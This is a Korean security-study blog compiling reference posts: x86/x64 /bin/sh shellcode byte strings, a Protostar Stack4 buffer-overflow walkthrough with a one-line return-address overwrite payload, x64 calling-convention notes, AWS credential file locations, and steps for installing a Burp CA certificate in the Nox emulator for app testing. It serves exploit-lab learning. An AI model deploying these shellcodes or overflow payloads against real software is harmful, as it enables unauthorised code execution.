'경로 및 정보' 카테고리의 다른 글

docker 설치 & wsl 재설치  (0) 2025.01.31
BloodHound 윈도우 설치 (진행 중)  (0) 2025.01.29
User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
Protostar - Stack4  (0) 2025.01.28
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

https://orcinus-orca.tistory.com/5

 

내가 쓰려고 적어두는 쉘코드(Shell Code)

직접 쉘코드를 만드는 과정을 겪어보니 쉘코드를 보는 시선이 약간 바뀐 것 같다. 소중한 친구들... 26-byte shell code(x86)_scanf우회 쉘코드 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\x

orcinus-orca.tistory.com

 

26-byte shell code(x86)_scanf우회 쉘코드

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


25-byte shell code(x86)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


26-byte shell code(x86)

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


41-byte shell code(x86)

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


48-byte shell code(x86)_\x2f없는 쉘코드

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


23-byte shell code(x64)

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05


31-byte shell code(x64)

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
 
블로그 이미지

wtdsoul

,

https://ii4gsp.tistory.com/50?pidx=0

 

Exploit Exercises [Protostar - Stack4]

#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } ret를 win() 함수의 시작 주소로 조작해야한다. 스택이 0x50만큼 할당되었

ii4gsp.tistory.com

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 

 

0x080483f4가 win() 함수의 시작 주소이다.
리틀 엔디언 방식으로 ret를 덮어주면 된다.
페이로드는 buffer[64byte] + dummy[8byte] + sfp[4byte] + win()함수 시작 주소

 

(python -c 'print "\x90" * 76 + "\xf4\x83\x04\x08"';cat) | ./stack4

'경로 및 정보' 카테고리의 다른 글

User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
블로그 이미지

wtdsoul

,


어셈블리어 호출 규칙


어셈블리어의 호출 방식에 대해 알아봅시다. C 언어에서는 함수를
실행할 때 파라미터를 전달하는 방식을 갖습니다. printf라는 함수를
실행할 때는 printf(“내용”)과 같이 출력하기 원하는 내용을 전달합니
다. 이처럼 리눅스 환경의 어셈블리어도 파라미터를 전달하는 규칙이
있습니다. 일단 레지스터에 필요한 파라미터를 넣고, 모자라면 스택에
남은 파라미터를 넣는 형태로 진행됩니다.
앞서 실행한 call puts를 찾아가 직전에 있는 mov rdi, message를
살펴봅시다. 이 내용은 rdi에 message를 넣는 모습입니다. 파라미터
가 다수인 경우에는 레지스터에 더 많은 양을 전달하게 됩니다. 세부적
인 규칙은 다음과 같이 정해집니다. 아직은 잘 몰라도 되는 내용이니
간단히 읽고 넘어갑시다.

① 레지스터에 들어가는 파라미터는 오른쪽에서 왼쪽으로 전달해야
하며, 할당 순서는 정수와 포인터의 경우 rdi -> rsi -> rdx -> rcx ->
r8 -> r9순이며, 부동 소수점(float, double)의 경우 xmm0 -> xmm1
-> xmm2 -> xmm3 -> xmm4 -> xmm5 -> xmm6 -> xmm7순입
니다.


② 추가 파라미터는 오른쪽에서 왼쪽으로 스택에 지정되며 호출 후
호출자가 제거해야 합니다.
③ 파라미터 지정 후 호출 명령어가 생성되어 제어되면 [rsp]레지스
터로 리턴하며, 첫번째 메모리 파라미터는 [rsp+8]레지스터에 지정됩
니다.
④ 스택 포인터 rsp는 호출되기 전에 16byte 경계에 정렬되어야 합
니다. 하지만 호출 시 스택의 리턴 주소에 8byte를 푸시하므로 gets 함
수가 시작되면 rsp가 정렬되지 않습니다. 무언가를 밀거나 8byte만큼
을 빼서 rsp에 여분의 공간을 만들어야 합니다.

 

 

'경로 및 정보' 카테고리의 다른 글

shell code sample  (0) 2025.01.28
Protostar - Stack4  (0) 2025.01.28
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
spel injection  (0) 2024.12.16
블로그 이미지

wtdsoul

,

'경로 및 정보' 카테고리의 다른 글

Protostar - Stack4  (0) 2025.01.28
어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
spel injection  (0) 2024.12.16
공유 config 및 credentials 파일 위치  (0) 2024.12.04
블로그 이미지

wtdsoul

,

'경로 및 정보' 카테고리의 다른 글

어셈블리어 호출 규칙 (64bit 참고)  (0) 2025.01.27
리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
spel injection  (0) 2024.12.16
공유 config 및 credentials 파일 위치  (0) 2024.12.04
Nox 버프 설정  (0) 2024.11.10
블로그 이미지

wtdsoul

,

spel injection

경로 및 정보 2024. 12. 16. 18:48

'경로 및 정보' 카테고리의 다른 글

리버싱에서의 레지스터란? (참고)  (0) 2025.01.27
PLT와 GOT 자세히 알기 1  (0) 2025.01.26
공유 config 및 credentials 파일 위치  (0) 2024.12.04
Nox 버프 설정  (0) 2024.11.10
아이폰 탈옥 히스토리  (1) 2024.10.10
블로그 이미지

wtdsoul

,

https://docs.aws.amazon.com/ko_kr/sdkref/latest/guide/file-location.html

 

공유 config 및 credentials 파일 위치 - AWS SDKs 및 도구

이 페이지에 작업이 필요하다는 점을 알려 주셔서 감사합니다. 실망시켜 드려 죄송합니다. 잠깐 시간을 내어 설명서를 향상시킬 수 있는 방법에 대해 말씀해 주십시오.

docs.aws.amazon.com

 

공유 AWS config  credentials 파일은 AWS SDK 및 도구의 구성 정보가 들어 있는 일반 텍스트 파일입니다. 파일은 사용자 환경에 로컬로 존재하며 SDK 코드나 해당 환경에서 AWS CLI 실행하는 명령에 의해 자동으로 사용됩니다. 자체 컴퓨터에서 또는 Amazon Elastic Compute Cloud 인스턴스에서 개발하는 경우를 예로 들 수 있습니다.

SDK 또는 도구가 실행되면 이러한 파일을 확인하고 사용 가능한 구성 설정을 로드합니다. 파일이 아직 없는 경우 SDK 또는 도구를 통해 기본 파일이 자동으로 생성됩니다.

기본적으로 파일은 사용자 home 또는 사용자 폴더에 .aws 있는 이름이 지정된 폴더에 있습니다.

운영 체제기본 위치 및 파일 이름
Linux 및 macOS ~/.aws/config
~/.aws/credentials
Windows %USERPROFILE%\.aws\config
%USERPROFILE%\.aws\credentials

홈 디렉터리 해상도

 

~다음과 같은 경우에만 홈 디렉터리 확인에 사용됩니다.

  • 경로를 시작합니다.
  • 바로 뒤에 / 또는 플랫폼별 구분 기호가 옵니다. Windows에서는 ~/ ~\ 둘 다 홈 디렉터리로 확인됩니다.

홈 디렉터리를 결정할 때 다음 변수를 확인합니다.

  • (모든 플랫폼)HOME 환경 변수
  • (Windows 플랫폼)USERPROFILE 환경 변수
  • (Windows 플랫폼) HOMEDRIVE  HOMEPATH 환경 변수의 연결 () $HOMEDRIVE$HOMEPATH
  • (SDK 또는 도구별 선택 사항)SDK 또는 도구별 홈 경로 확인 기능 또는 변수

가능한 경우, 경로의 시작 부분에 사용자의 홈 디렉터리(예:~username/)가 지정되어 있으면 그것은 요청된 사용자 이름의 홈 디렉터리(예: /home/username/.aws/config)로 확정됩니다.

이러한 파일의 기본 위치를 변경하십시오.

 

다음 중 하나를 사용하여 SDK 또는 도구가 이러한 파일을 로드하는 위치를 재정의할 수 있습니다.

환경 변수 사용

다음 환경 변수는 이러한 파일의 위치 또는 이름을 기본값에서 사용자 지정 값으로 변경할 수 있습니다.

  • config 파일 환경 변수:AWS_CONFIG_FILE
  • credentials 파일 환경 변수:AWS_SHARED_CREDENTIALS_FILE
 
  • Linux/macOS
  • Windows

Linux 또는 macOS에서 다음의 내보내기 명령을 실행하여 대체 위치를 지정할 수 있습니다.

 
$ export AWS_CONFIG_FILE=/some/file/path/on/the/system/config-file-name
$ export AWS_SHARED_CREDENTIALS_FILE=/some/other/file/path/on/the/system/credentials-file-name

환경 변수를 사용하여 시스템을 구성하는 방법에 대한 자세한 내용은 을 참조하십시오. 환경 변수 지원

JVM 시스템 속성 사용

JVM에서 실행되는 Kotlin용 SDK와 Java 2.x용 SDK의 경우 다음과 같은 JVM 시스템 속성을 설정하여 이러한 파일의 위치 또는 이름을 기본값에서 사용자 지정 값으로 변경할 수 있습니다.

  • config파일 JVM 시스템 속성: aws.configFile
  • credentials 파일 환경 변수:aws.sharedCredentialsFile

JVM 시스템 속성을 설정하는 방법에 대한 지침은 을 참조하십시오. JVM 시스템 속성을 설정하는 방법 Java 1.x용 SDK는 이러한 시스템 속성을 지원하지 않습니다.

 
 

 

'경로 및 정보' 카테고리의 다른 글

PLT와 GOT 자세히 알기 1  (0) 2025.01.26
spel injection  (0) 2024.12.16
Nox 버프 설정  (0) 2024.11.10
아이폰 탈옥 히스토리  (1) 2024.10.10
Browser-Powered Desync Attacks: A New Frontier in HTTP Request Smuggling  (0) 2024.08.16
블로그 이미지

wtdsoul

,

Nox 버프 설정

경로 및 정보 2024. 11. 10. 00:36

https://takudaddy.tistory.com/542

 

5. 안드로이드 앱 진단 실습 (3) 진단 환경 구성 3

[목차] 1. Nox 프록시 설정 2. Burp Suite 인증서 설치 3. InsecureBank와 연동 실험 [Nox 프록시 설정] 1. Nox 설정 Nox 메인 > Tools 폴더 > 설정 Wi-fi > 'WiredSSID' 항목 누르고 있다가 '네트워크 수정' 항목 선택 >

takudaddy.tistory.com

 

* 설치 전 주의사항

- 기존 방식인

(1) 버프 인증서를 받아(http://burp)

(2) 확장자명을 cacert.der에서 cacert.crt로 변경 후

(3) 드래그 앤 드롭(또는 adb를 통해)으로 Nox에 넣어

(4) Tool > 설정 > 보안 > SD 카드에서 설치

하는 방식으로는 인증서를 설치하는 경우

 

다음과 같이 인증서 자격증명이

 

'사용자' 측에 생기는데

 

Android 7 버전 이상부터는

'사용자' 자격증명을 신뢰하지 않는다고 하여

인증서를 시스템 측에 설치해야 한다.

 

 

 

(1) 버프 인증서 내려받기

버프 기동 후

Proxy > Options > Provy Listners > Import / export CA certificate

하던지

 

 

브라우저에서 http://burp 직접 호출 후 내려받던지 택일

 

 

 

 

(2) openssl 을 통한 변환작업

: 윈도우의 경우 openssl 바이너리를 별도로 설치 후 사용해야 함 (절차 생략)

http://slproweb.com/products/Win32OpenSSL.html

 

 

터미널을 열어 (1)에서 받은 버프 인증서 경로로 이동 후

아래 커맨드 입력

C:> openssl x509 -inform DER -in cacert.der -out cacert.pem
C:> openssl x509 -inform PEM -subject_hash_old -in cacert.pem
C:> move cacert.pem 9a5ba575.0
 

 

 

위 과정은

der 파일을 pem 형식으로 변한 뒤 >

오래된 openssl 1.0.0 버전 이전에

사용된 알고리즘을 통해 인증서의

subject name hash 값을 추출하여 >

파일 명을 9a5ba575.0으로 변환시킨

작업인데

 

 

이렇게 변환시킨 이유는

Nox의 시스템 자격증명 폴더 내

설치되어 있는 인증서 형식이 바로

위와 같은 형식이기 때문

 

 

 

 

(3) 인증서 설치

adb로 해당 인증서를 /sdcard/ 디렉터리에 푸시 해주고

 

 

쉘에 접속해 /sbcard/ 내 버프 인증서를

시스템 자격증명 폴더에 옮겨준 뒤 권한부여

 

 

정상 설치 확인

 

 

 


 

 

[InsecureBank와 연동 실험]

 

인시큐어뱅크 서버 앱 실행 후

로그인을 시도해 보면

 

 

정상적으로 프록시를 거치게 된다.

프록시 설정 정상 완료!

블로그 이미지

wtdsoul

,